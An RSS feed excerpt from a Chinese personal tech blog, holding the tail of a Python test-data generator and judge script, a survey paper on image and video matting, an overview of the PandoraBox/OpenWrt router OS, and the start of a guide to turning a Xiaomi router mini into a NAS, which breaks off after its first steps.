</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">randint</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">9</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">99</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="n">temp</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">9</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="n">test</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">temp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="n">test</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="n">ans</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">temp</span><span class="p">)</span> <span class="o">*</span> <span class="nb">int</span><span class="p">(</span><span class="n">last</span><span class="p">))</span> <span class="o">+</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="n">test</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="n">test</span><span class="o">.</span><span class="n">close</span><span class="p">()</span></span></span></code></pre></div><p><code>judge/judge.py</code></p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">fftans</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;fftans.data&#34;</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">ans</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;ans.data&#34;</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">fftans</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">len</span><span class="p">(</span><span class="n">ans</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Fail&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">fftans</span><span class="p">)):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">if</span> <span class="n">fftans</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="n">ans</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Fail ! No. </span><span class="si">{}</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Success !&#34;</span><span class="p">)</span></span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>数字抠图技术的发展</title>
      <link>https://sttev.com/posts/07-image-matting/</link>
      <pubDate>Sat, 27 Oct 2018 22:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/07-image-matting/</guid>
      <description>&lt;p&gt;——数字图像处理论文&lt;/p&gt;&#xA;&lt;h2 id=&#34;摘要&#34;&gt;摘要&lt;/h2&gt;&#xA;&lt;p&gt;随着光学信号采集设备和数字图像处理技术的发展，抠图技术越发成为数字图像处理的重要研究方向。在电影工业中，利用绿幕等技术拍摄的影像就需要抠图技术进行处理，加上另外的背景。这样的技术随着个人设备性能的提升和算法的改进，在个人拍摄的影像中也逐渐流行开，需求也变成了从复杂背景中准确抠出主体的图像。本文介绍了几种图像和视频的抠图技术，最后总结了抠图技术的研究现况和未来的发展方向。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>——数字图像处理论文</p>
<h2 id="摘要">摘要</h2>
<p>随着光学信号采集设备和数字图像处理技术的发展，抠图技术越发成为数字图像处理的重要研究方向。在电影工业中，利用绿幕等技术拍摄的影像就需要抠图技术进行处理，加上另外的背景。这样的技术随着个人设备性能的提升和算法的改进，在个人拍摄的影像中也逐渐流行开，需求也变成了从复杂背景中准确抠出主体的图像。本文介绍了几种图像和视频的抠图技术，最后总结了抠图技术的研究现况和未来的发展方向。</p>
<p><strong>关键词</strong>：抠图，图像分割，对象消除，背景填充，深度学习</p>
<h2 id="0-引言">0. 引言</h2>
<p>在一张照片或者图片中，有时候我们会有这样的需求：将画面中的主体从图片中抠出来，然后更换背景。目前最流行的操作是使用 Adobe 公司开发的图像处理软件 Photoshop 一点点手动描画出主体的轮廓，然后再进行相应的背景置换操作。这样做非常费力，特别是对精细度要求非常高的时候，需要耗费大量的人力。而且，在毛发等复杂的地方往往没有办法达到很好的效果。到电影工业中，为了特效画面这样的技术早就被开发了出来，即绿幕/蓝幕技术。前期演员在绿色/蓝色的幕布前录像，后期将纯色背景抠除，然后替换成其他的背景。纯色背景的抠除相对比较方便，但是很多时候个人拍摄的视频并没有纯色背景的条件，如何在复杂背景视频中抠出主体又是一个非常棘手的问题。在这样的需求驱使下，数字图像处理领域中出现了应对的算法，即抠图（Image Matting）和视频抠图（Video Matting）算法。事实上为了其他更加精细的需求，还有一类称之为图像分割（Semantic Segmentation）的算法。图像分割较之于抠图会更加细致，抠图只是把主体和背景分离，而图像分割需要把画面上的所有独立主体以及背景都进行分离。本文并不深入探究两类算法的区别，暂且认为是相似目的的算法。</p>
<h2 id="1-抠图与图像分割算法">1. 抠图与图像分割算法</h2>
<h3 id="11-贝叶斯抠图算法bayesian-matting">1.1 贝叶斯抠图算法（Bayesian Matting）</h3>
<p>普遍图像中，相近的像素在统计特征上往往具有相关性，可以对相近的像素进行颜色采样，根据样本颜色的特点对未知区域像素的抠像参数进行估算。Berman 等人在 2000 年提出 Knockout 算法，对周边确定区域像素的前景/背景色进行加权，作为未知区域像素的估算结果。Ruzon 和 Tomasi 则最先在数字抠像中引入概率统计，其基本思想是对于未知区域的像素，先取附近已知的前景和背景像素作为样本，进行聚类和统计，每个聚类使用高斯模型进行描述。然后根据样本颜色的概率模型和未知区域像素的颜色，估算未知像素与前景/背景中各个聚类的相似度，推导该像素的前景不透明度。2001 年，Chuang 等人在此基础上提出了贝叶斯抠像(Bayesian matting)。这种方法使用贝叶斯公式，把未知像素的估算问题转化为一个最大后验概率问题。</p>
<p>图像抠图的核心问题就是求解下面这个融合方程Matting equation（在图像隐藏和图像去雾中都有类似的融合方程）：</p>
$$C=αF−(1−α)B$$<p>其中，C是一个已知的待处理的图像中的一个像素点，也可以理解为整个图像。F 是前景图像，B 是背景图像，融合系数α是一个介于0到1之间的分数，它给出了前景和背景在待处理图像中所占的比例。在融合方程中，已知的只有C，而F、B和α都是未知的。于是可以从条件概率的角度去考虑这个问题，即给定C时，F、B和α的联合概率应为</p>
$$P(F,B,α|C) = \frac{P(C|F,B,α)P(F,B,α)}{P(C)} = \frac{P(C|F,B,α)P(F)P(B)P(α)}{P(C)}$$<p>其中第一个等号是根据贝叶斯公式得到的，第二个等号则是考虑F、B和α是彼此独立的。上式表明抠图问题可以被转化为已知待计算像素颜色C的情况下，如何估计它的F、B和α的值以最大化后验概率$P(F,B,α|C)$的问题。</p>
<p>简单来说，算法采用一个连续滑动的窗口对邻域进行采样，窗口从未知区域和己知区域之间的两条边开始向内逐轮廓推进，计算过程也随之推进。最终通过采样统计的方式估计出上述等式中的右端项，得到结果。具体进行计算时的算法数学细节太过复杂，这里不再深入。</p>
<p>除去这里提及的贝叶斯抠图算法，人们还开发了许多其他非常成功的算法，例如著名的kNN抠图和泊松抠图（Poisson Matting）等等。限于篇幅，这里不再介绍更多传统抠图算法，下面来介绍一些近年利用机器学习技术的抠图算法。</p>
<h3 id="12-adobe-deep-image-matting">1.2 Adobe Deep Image Matting</h3>
<p>2017年3月，Adobe 公司的研究院发表了一篇论文，提出一种基于深度学习的新算法，主要解决传统抠图方法中只有低级特征（low-level features）以及缺乏高层次上下图境（high-level context）的问题。这个深度模型分为两个阶段。第一阶段是深度卷积编码-解码网络（deep convolutional encoder-decoder network），该神经网络将图像和相对应的三分图作为输入，并预测图像的α蒙版。第二阶段是一个小型卷积神经网络，该神经网络对第一个网络预测的α蒙版进行精炼从而拥有更准确的α值和锐化边缘。另外，他们还创建了一个大规模抠图数据集，包含了 49300 张训练图像和 1000 张测试图像。在抠图基准、测试数据集和各种真实图像上评估算法后，结果表明此算法比先前的方法表现更好。</p>
<p>传统抠图算法具有很大的局限性：首先就是目前用来求解抠图的方程式即1.1中提到过的融合方程的方法存在问题。在这个方程式中，抠图问题形式化为两种颜色的线性组合，因此大多数现存的算法很大一部分都是将其近似求解色彩的问题。另一个局限性就因为小数据集而产生。一般用于抠图的数据真值是很复杂的，所以很少有较大的数据集，较小的数据集会带来自然偏差，训练出来的算法也会很难进行泛化。</p>
<p>在Adobe的论文中提出了一种克服这些局限性的方法。他们的方法就是使用深度学习在给定输入图像和三分图的基础上直接计算α蒙版。他们使用的神经网络并不首要依赖于色彩信息，它会学习图像的自然结构，并将其反映到α蒙版中。例如毛发（通常需要将其抠出来）就拥有很强的结构和纹理图案，它们通常存在能抽取出的共同结构或α蒙版轮廓。并且由于低层次的特征并不会捕获这些结构，那么就需要深度神经网络去表征它们了。他们使用的两阶段神经网络包含了编码器-解码器阶段和使用小型残差网络进行精炼阶段。利用另外创建的一个大规模抠图数据集，他们训练出的模型有着非常优秀的结果。</p>
<h3 id="13-semantic-soft-segmentation">1.3 Semantic Soft Segmentation</h3>
<p>今年8月，MIT CSAIL的研究人员发布了一篇论文，介绍了一种基于深度学习的图像编辑工具，能够自动抠图，替换任何图像的背景。他们称之为“图像软分割”，这个系统能够分析原始图像的纹理和颜色，仅需3~4分钟，生成非常自然的图像。在这篇新论文中，该团队提出的方法可以将拍摄的图像自动分解为一组不同的图层，图层之间通过一系列“软过渡”（soft transitions）相分隔。他们把这个系统命名为“语义软分割”（semantic soft segmentation，SSS），它能够分析原始图像的纹理和颜色，并将其与神经网络收集的有关图像中实际目标的信息相结合。</p>
<p>这个过程从神经网络估计图像的区域和特征开始。对于输入图像，要生成每个像素的超维语义特征向量（hyperdimensional semantic feature vectors），并使用纹理和语义信息定义图形。图形构造使得相应的拉普拉斯矩阵及其特征向量揭示了语义对象和它们之间的软过渡。使用特征向量来构建一组初始的软分割（soft segments），并将它们组合起来得到语义上有意义的分割。接着对软分割进行细化，使其可用于目标图像编辑任务。于是，神经网络就相当于检测到了软过渡，例如狗狗的毛发和草。然后通过颜色将图像中的像素相互关联，这些信息与神经网络检测到的特征相结合，对图像的层进行估计。经过这一系列处理，就可以实现AI自动抠图并更换背景了。</p>
<p>该方法最重要的是自动生成输入图像的软分割，也就是说，将输入图像分解成表示场景中对象的层，包括透明度和软过渡。研究人员表示，他们的目的并不是解决一般的自然抠图问题。自然抠图是一个成熟的领域，面临许多特有的挑战，例如在非常相似颜色的前景和背景区域中生成精确的抠图结果。当目标颜色非常相似时，他们的方法可能在开始的约束稀疏化步骤中失败，或者基于大面积过渡区域建立了不可靠的语义特征向量，可能导致软分割的失败。他们的目的想让抠图的过程变得更简单、快捷，让一般用户也可以更方便地进行图像编辑。目前SSS可供Instagram和Snapchat等社交平台使用，让图像过滤器的效果更加逼真，尤其是在更改自拍背景或模拟特定类型的相机时。在未来，研究人员计划进一步将处理图像所需的时间从几分钟降低到几秒，并通过提高系统匹配颜色和处理光照和阴影目标的能力，使图像看上去更加逼真。</p>
<h2 id="2-视频分割算法">2. 视频分割算法</h2>
<h3 id="21-google-mobile-real-time-video-segmentation">2.1 Google Mobile Real-time Video Segmentation</h3>
<p>今年3月份，谷歌为手机设计了一种实时抠图技术，以满足创作者修改或替换视频背景的需求。该新型分割技术不需要专业设备，让创作者能方便地替换和修改背景，给用户带来精确、实时、便携的移动视频分割体验，从而轻易地提高视频的制作水准。</p>
<p>谷歌使用机器学习的卷积神经网络来解决语义分割任务，从而实现该技术。为了满足移动端的轻量级需求和至少要每秒30秒以上的分割速度需求，研究人员专门设计了适合手机的网络架构和训练流程。</p>
<p>研究人员标注了成千上万张捕捉了广泛类型的前景姿态和背景环境的图像，以为新的机器学习流程提供高质量的数据。这些标注包括前景元素的像素级精确定位，例如头发、眼镜、脖子、皮肤、嘴唇等；而背景标签普遍能达到人类标注质量的98%的交叉验证结果。</p>
<p>谷歌设计的分割任务是为每个视频的输入帧（三个通道，RGB）计算二进制掩码，以将前景从背景上分割出来。其中，获得计算掩码在帧上的时间一致性是关键。当前的方法是使用 LSTM 或 GRU 来实现，但对于在移动设备上实时应用来说其计算开销太高了。因此，首先将前一帧的计算掩码作为先验知识，并作为第四个通道结合当前的 RGB 输入帧，以获得时间一致性。</p>
<p>另外，谷歌的团队还对网络架构和训练过程做了很多的优化，这些修改的最终结果是新的神经网络速度很快，并适用于移动端设备。在手机上可以实现好几十帧的处理速度，在APP中能够提供各种平滑的展示效果。</p>
<h3 id="22-adobe-project-cloak">2.2 Adobe Project Cloak</h3>
<p>在一般的抠图需求中，我们需要的是把主体抠出来，更换背景。但是在其他有一些场合中，我们的需求是把主体抠掉，只留下背景。对于我们之前提到的图像或者视频分割技术，我们的确可以分离出背景，但是一定会留下一块抠掉的主体形状的未知区域。这部分未知区域的填充是也是一个非常难解决的问题，对于静态图片我们能做的只有通过周围的像素点来预测未知区域的样子。然而对于视频，我们很有可能在附近的视频帧中拥有足够的信息来近乎完美的填充这块未知的区域。</p>
<p>2017年10月，Adobe在Adobe Max 2017大会上公布了一个正在研发中的新功能，代号Project Cloak。他们利用稠密追踪（dense tracking）的方法，在前后的视频帧中寻找缺失的像素，以此自动填充抠图后未知的区域。在展示中，这个项目的demo相当惊艳的消除了画面上的对象并且补出了对象之后缺失的背景，仿佛之前从来没有出现过画面上的对象。</p>
<p>Adobe尚未正式发布这项功能，也还没有公布这项功能背后的技术实现细节。非常期待这样类似内容感知的功能能够早日向消费者开放，这样不仅是专业团队还是普通创作者都可以轻松的进行画面上的对象消除，轻松的降低视频制作的难度，提高视频制作的水准。</p>
<h2 id="总结">总结</h2>
<p>根据上述介绍，我们可以看出，现在的图像和视频抠图技术在逐步从传统的算法向着深度学习转变。随着机器学习的发展，机器学习模型的效果越来越好，不管是结果还是效率上都赶上甚至超过了传统算法。这样一来，抠图算法可以进一步向着普通用户普及，随便拿谁的手机都可以进行轻松的抠图替换背景的操作，这让所有人都可以轻松接触到原本好莱坞级别的大片才会有的特效，从而进行更有意思的创作。希望这些算法在未来能够发展出更好的效果和效率，为“人人都能当导演”的概念提供更加完美的土壤。</p>
<h2 id="参考文献">参考文献</h2>
<ol>
<li>Yung-Yu Chuang, B. Curless, D.H. Salesin, and R. Szeliski, A Bayesian Approach to Digital Matting. CVPR, 2001.</li>
<li>M. T. Orchard and C. A. Bouman. Color Quantization of Images. IEEE Transactions on Signal Processing, 39(12):2677–2690, December 1991.</li>
<li>张展鹏, 朱青松, 谢耀钦. 数字抠像的最新研究进展. 自动化学报, 2012, 38(10): 1571-1584</li>
<li>吕巨建. 自然图像抠图方法的研究. 硕士学位论文, 广东工业大学, 2009</li>
<li>Ning Xu, Brian Price, Scott Cohen, and Thomas Huang. Deep Image Matting. Computer Vision and Pattern Recognition (cs.CV). arXiv:1703.03872v3 [cs.CV]</li>
<li>Yagiz Aksoy, Tae-Hyun Oh, Sylvain Paris, Marc Pollefeys,  Wojciech Matusik. Semantic Soft Segmentation. ACM Transactions on Graphics (Proc. SIGGRAPH), Vol. 37, No. 4, Article 72.</li>
<li>Valentin Bazarevsky, Andrei Tkachenka. (March 1, 2018). Mobile Real-time Video Segmentation. [Web log post]. Google AI Blog. Retrieved Oct. 27, 2018, from <a href="https://ai.googleblog.com/2018/03/mobile-real-time-video-segmentation.html">https://ai.googleblog.com/2018/03/mobile-real-time-video-segmentation.html</a></li>
</ol>
<h2 id="参考网站">参考网站</h2>
<p><a href="https://blog.csdn.net/baimafujinji/article/details/72863106">https://blog.csdn.net/baimafujinji/article/details/72863106</a></p>
<p><a href="https://wenku.baidu.com/view/e93468d1b9f3f90f76c61b3d.html">https://wenku.baidu.com/view/e93468d1b9f3f90f76c61b3d.html</a></p>
<p><a href="https://zhzhanp.github.io/papers/matting_survey.pdf">https://zhzhanp.github.io/papers/matting_survey.pdf</a></p>
<p><a href="https://arxiv.org/abs/1703.03872">https://arxiv.org/abs/1703.03872</a></p>
<p><a href="https://cloud.tencent.com/developer/article/1116658">https://cloud.tencent.com/developer/article/1116658</a></p>
<p><a href="https://blog.csdn.net/qq_36165459/article/details/78550293">https://blog.csdn.net/qq_36165459/article/details/78550293</a></p>
<p><a href="https://blog.csdn.net/u012905422/article/details/62226403">https://blog.csdn.net/u012905422/article/details/62226403</a></p>
<p><a href="https://t.cj.sina.com.cn/articles/view/5703921756/m153faf05c01900a9i8">https://t.cj.sina.com.cn/articles/view/5703921756/m153faf05c01900a9i8</a></p>
<p><a href="http://cfg.mit.edu/sites/cfg.mit.edu/files/sss_3.pdf">http://cfg.mit.edu/sites/cfg.mit.edu/files/sss_3.pdf</a></p>
<p><a href="http://people.inf.ethz.ch/aksoyy/sss/">http://people.inf.ethz.ch/aksoyy/sss/</a></p>
<p><a href="https://www.jiqizhixin.com/articles/030202">https://www.jiqizhixin.com/articles/030202</a></p>
<p><a href="https://ai.googleblog.com/2018/03/mobile-real-time-video-segmentation.html">https://ai.googleblog.com/2018/03/mobile-real-time-video-segmentation.html</a></p>
<p><a href="https://zhuanlan.zhihu.com/p/30443186">https://zhuanlan.zhihu.com/p/30443186</a></p>
<p><a href="https://research.adobe.com/cloak-remove-unwanted-objects-in-video/">https://research.adobe.com/cloak-remove-unwanted-objects-in-video/</a></p>
<p><a href="https://theblog.adobe.com/peek-behind-sneaks-filmmakers-gain-power-invisibility/">https://theblog.adobe.com/peek-behind-sneaks-filmmakers-gain-power-invisibility/</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>PandoraBox 操作系统</title>
      <link>https://sttev.com/posts/06-pandorabox/</link>
      <pubDate>Thu, 27 Sep 2018 15:45:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/06-pandorabox/</guid>
      <description>&lt;h2 id=&#34;0-简介&#34;&gt;0. 简介&lt;/h2&gt;&#xA;&lt;p&gt;PandoraBox 操作系统是一个适合于嵌入式设备的 Linux 发行版。这个系统的主要用途是作为路由器的底层固件，为路由器的运行提供支持。&lt;/p&gt;&#xA;&lt;h2 id=&#34;1-pandorabox-与-openwrt&#34;&gt;1. PandoraBox 与 OpenWrt&lt;/h2&gt;&#xA;&lt;p&gt;PandoraBox 与 OpenWrt 有着非常紧密的联系。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="0-简介">0. 简介</h2>
<p>PandoraBox 操作系统是一个适合于嵌入式设备的 Linux 发行版。这个系统的主要用途是作为路由器的底层固件，为路由器的运行提供支持。</p>
<h2 id="1-pandorabox-与-openwrt">1. PandoraBox 与 OpenWrt</h2>
<p>PandoraBox 与 OpenWrt 有着非常紧密的联系。</p>
<p>PandoraBox 是 OpenWrt 的一条分支，由一个名为 OpenWrt 中国的社区的创始人之一的 Lintel（黄文哲）带领的技术团队所维护，在恩山无线论坛上发布更新。该项目曾在 2017 年初因故停更，但是目前已经恢复了固件的迭代更新，最新的官方论坛地址为 <a href="https://bbs.pangubox.com/">https://bbs.pangubox.com/</a> 。</p>
<p>PandoraBox 基于 OpenWrt 深度定制，基于中国的网络环境做了很多的调整及优化，比起 OpenWrt 更加本土化。从能够被感知到的用户体验上，两者的直观区别在于 PandoraBox 内置了更多的插件模块，更加的“开箱即用”。</p>
<p>鉴于 PandoraBox 底层基于 OpenWrt ，并且 PandoraBox 并没有详细的官方文档，接下来容我先介绍一下 OpenWrt 系统。</p>
<h2 id="2-openwrt">2. OpenWrt</h2>
<p>OpenWrt 是一个拥有高度可拓展性的 GNU/Linux 发行版，专为嵌入式设备（主要是路由器）而开发。当前的最新版本系统版本号为 OpenWrt 18.06.1，底层 Linux 内核的版本为 4.9.120/4.14.63。源代码托管于：<a href="https://git.openwrt.org/">https://git.openwrt.org/</a> 。</p>
<p>比起一般的路由器系统只能更改少量的配置，OpenWrt 能够更加随心所欲的进行更改和定制。下面是一些 OpenWrt 的突出特点：</p>
<ol>
<li>OpenWrt 能够支持用 USB 连接的一些外置硬件，包括打印机，4G 网卡，网络摄像头，声卡等，这能够允许用户利用路由器拓展出很多全新的用途。</li>
<li>OpenWrt 向用户开放 SSH 权限，并且用户可以随意读写更改系统的根目录。这意味着用户对于这个系统能够有完全的掌控。并且由于 OpenWrt 基于 Linux，许多基础指令完全互通，对于熟悉 Linux 的用户来说完全没有上手难度。</li>
<li>OpenWrt 拥有一个名为 opkg 的包管理器，类似 apt, yum 和 dpkg，opkg 可以很方便的从本地或者软件仓库中安装或者卸载软件。OpenWrt 的软件仓库中有着超过 3500 个包，对于路由器来说可以说是非常丰富，这能够为你提供非常多的附加功能。</li>
<li>OpenWrt 提供了 UCI 脚本支持。UCI 是 OpenWrt 为了统一管理系统所有配置选项而开发的一个管理程序，同时也是一门特定的脚本语言。在命令行里使用 uci 命令可以很方便的查看和修改路由器的系统配置文件，不需要再使用 grep 等命令，也不用担心不同的配置文件有不一样的语法。这一切都被统一到了 UCI 中。</li>
<li>除了命令行，OpenWrt 还提供了 Web 图形化界面，可以更加方便的对路由器的各项配置进行设置。</li>
<li>OpenWrt 是一个以 GPL 协议开源的软件，有非常庞大的开发者社区为其提供支持。这意味着 OpenWrt 不会有硬件供应商的隐藏后门程序，一旦发现漏洞也可以在不久后被修复。另外，就算硬件供应商停止更新原厂固件后很久，很多老旧的路由器设备依旧可以得到 OpenWrt 的支持。</li>
<li>OpenWrt 的默认配置非常保守，而且基于不常受攻击的 Linux 系统，因此可以保证免受来自外界的攻击。</li>
<li>有许多正在网络方面进行前沿研究的团队使用 OpenWrt 作为他们工作的稳定平台。随着他们的工作从实验领域转移到实际领域，很多全新的优秀算法将首先应用在 OpenWrt 中。</li>
</ol>
<p>在 2016 年，LEDE 项目作为 OpenWrt 项目的副产品而诞生，LEDE 致力于建立一个更加透明，注重协作的社区，来开发嵌入式 Linux 系统。2018 年 1 月，LEDE 项目和 OpenWrt 项目以 OpenWrt 这一名字进行合并，全新的 OpenWrt 项目将按照 LEDE 的章程进行管理。全新的 OpenWrt 社区能够保证 OpenWrt 项目继续茁壮成长，给嵌入式 Linux 的开发带来新生。</p>
<h2 id="3-pandorabox">3. PandoraBox</h2>
<p>前文已经介绍过，PandoraBox 是基于 OpenWrt 深度定制开发的。由于大部分主要功能依旧保持原样，上一节 OpenWrt 的所有优点依旧适用于 PandoraBox。下面介绍一些 PandoraBox 独有的特点：</p>
<ol>
<li>
<p>PandoraBox 系统底层采用了原厂的闭源无线驱动，相比于 OpenWrt 的开源驱动会有更好的性能和稳定性。</p>
</li>
<li>
<p>PandoraBox 预装并且配置好了很多实用的软件包，相当于支持了很多额外的功能，包括动态 DNS，FTP 服务器，Samba 服务器，UPnP，打印服务器，甚至还有十分中国特色的 ShadowSocks，ChinaDNS，DNSCrypt等反审查软件。</p>
</li>
<li>
<p>PandoraBox 提供了很方便的多拨功能，实现更高的网速。</p>
</li>
<li>
<p>PandoraBox 对于更多的路由器机型进行了适配，减少了异常 BUG 发生的情况。</p>
</li>
</ol>
<p>除此之外还有很多细节上的优化，没有办法在此一一列举了。下面介绍一下 PandoraBox 的用户界面：LuCI。</p>
<h2 id="4-luci">4. LuCI</h2>
<p>LuCI 是一个由 Lua 语言编写的 MVC 架构的 Web 用户管理界面，是 Lua Conﬁguration Interface 的缩写。开发者们开发出 LuCI 的目的在于使 OpenWrt 整个系统的配置集中化，为用户提供一个简洁、自由、可拓展而且易于维护的管理界面，因此使用 LuCI 管理和配置路由器非常的方便。下面，让我们来看一下 LuCI 界面的几张截图：</p>
<ol>
<li>
<p>系统概况界面
<img src="../LuCI.assets/Snipaste_2018-09-26_17-47-41.png" alt="Snipaste_2018-09-26_17-47-41"></p>
</li>
<li>
<p>系统日志界面
<img src="../LuCI.assets/Snipaste_2018-09-26_17-48-38.png" alt="Snipaste_2018-09-26_17-48-38"></p>
</li>
<li>
<p>软件包管理界面
<img src="../LuCI.assets/Snipaste_2018-09-26_17-49-07.png" alt="Snipaste_2018-09-26_17-49-07"></p>
</li>
<li>
<p>启动项管理界面
<img src="../LuCI.assets/Snipaste_2018-09-26_17-49-30.png" alt="Snipaste_2018-09-26_17-49-30"></p>
</li>
<li>
<p>磁盘挂载点管理界面
<img src="../LuCI.assets/Snipaste_2018-09-26_17-49-59.png" alt="Snipaste_2018-09-26_17-49-59"></p>
</li>
<li>
<p>路由器 LED 灯配置界面
<img src="../LuCI.assets/Snipaste_2018-09-26_17-50-17.png" alt="Snipaste_2018-09-26_17-50-17"></p>
</li>
<li>
<p>Samba 服务器配置界面
<img src="../LuCI.assets/Snipaste_2018-09-26_17-50-36.png" alt="Snipaste_2018-09-26_17-50-36"></p>
</li>
<li>
<p>无线网设置界面
<img src="../LuCI.assets/Snipaste_2018-09-26_17-50-57.png" alt="Snipaste_2018-09-26_17-50-57"></p>
</li>
</ol>
<p>从上面的 8 张截图可以很明显的看出，LuCI 界面简洁明了的同时功能也非常强大，路由器的方方面面都可以在这里很方便的进行设置。</p>
<p>自 2015 年起 OpenWrt 项目开始开发新一代 LuCI2 界面，LuCI2 不再采用运行效率很低的 Lua 作为编写语言，而是采用了静态 HTML 页面和 JavaScript XHR 方法。这意味着 LuCI2 会获得比原来 LuCI 更快的运行速度。目前 LuCI2 仍处于开发试验阶段，但是它最终将取代最初的 LuCI 界面。</p>
<h2 id="5-总结">5. 总结</h2>
<p>PandoraBox 操作系统是一个专为嵌入式设备开发的 Linux 发行版，广泛使用于路由器设备上。它具有非常强大的可拓展性，允许用户对它的方方面面进行定制。同时 PandoraBox 还拥有一个简洁但是功能强大的 Web 管理界面 LuCI，让用户能更方便的对路由器的各种配置进行设置。再加上 PandoraBox 在 OpenWrt 的基础上加入了更多对于中国本土化的支持，对于国内喜欢折腾路由器的硬件发烧友们来说，这个系统是刷机的不二选择。</p>
]]></content:encoded>
    </item>
    <item>
      <title>小米路由器mini 自制NAS</title>
      <link>https://sttev.com/posts/05-mi-router-nas/</link>
      <pubDate>Sun, 09 Sep 2018 18:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/05-mi-router-nas/</guid>
      <description>&lt;h2 id=&#34;提要&#34;&gt;提要&lt;/h2&gt;&#xA;&lt;p&gt;正好手头有一个闲置的小米路由器mini。打算把这个路由器刷成PandoraBox系统，然后买一个机械硬盘，配套一个Orico的透明硬盘盒，接在上面作为文件备份的私有云。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="提要">提要</h2>
<p>正好手头有一个闲置的小米路由器mini。打算把这个路由器刷成PandoraBox系统，然后买一个机械硬盘，配套一个Orico的透明硬盘盒，接在上面作为文件备份的私有云。</p>
<p>目前最麻烦的问题是小米路由器mini只有一个USB2.0的接口，速度慢供电不足，但是勉强还算能用，也不像USB3.0一样干扰2.4G频段。</p>
<p>希望实现的功能有：Syncthing实现24×7的云端文件同步；Samba/sftp实现的局域网文件访问；远程访问文件。</p>
<h2 id="过程">过程</h2>
<h3 id="1-小米路由器mini刷机">1. 小米路由器mini刷机</h3>
<p>刷机很简单，首先在路由器管理界面刷上小米官方的开发版固件，下载地址如下：</p>
<blockquote>
<p><a href="http://www1.miwifi.com/miwifi_download.html">http://www1.miwifi.com/miwifi_download.html</a></p>
</blockquote>
<p>然后申请SSH权限：</p>
<blockquote>
<p><a href="https://d.miwifi.com/rom/ssh">https://d.miwifi.com/rom/ssh</a></p>
</blockquote>
<p>登录以后就可以看到自己账户绑定的路由器。选择对应的下载工具包并记住root密码，根据网页上的指示完成操作。完成后就可以使用路由器的SSH了。</p>
<hr>
<p>接下来就可以开始刷入PandoraBox了。先下载好小米路由器mini对应的固件：</p>
<blockquote>
